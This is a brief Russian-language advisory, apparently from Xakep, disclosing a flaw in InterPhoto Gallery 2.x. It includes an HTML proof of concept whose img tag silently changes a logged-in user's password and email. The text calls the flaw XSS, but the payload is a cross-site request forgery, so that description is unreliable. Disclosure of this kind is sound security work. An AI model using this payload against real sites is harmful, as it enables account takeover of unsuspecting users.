Рекомендуем почитать:
Xakep #305. Многошаговые SQL-инъекции
Программа: InterPhoto Gallery 2.x
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на
целевую систему. Уязвимость существует из-за недостаточной обработки входных
данных при обработке HTTP запросов. Атакующий может выполнить произвольный
сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Эксплоит:
<html>
<body>
<img src="http://localhost/interphoto/mydesk.edit.php?action= updateuser&password=newpassword&repassword=newpassword&email=a%40a.com&userfullname=&usercompany
=&useraddress=&userpostcode=&usertel= &userfax=&useronline=&userwebsite=" />
</body>
</html>
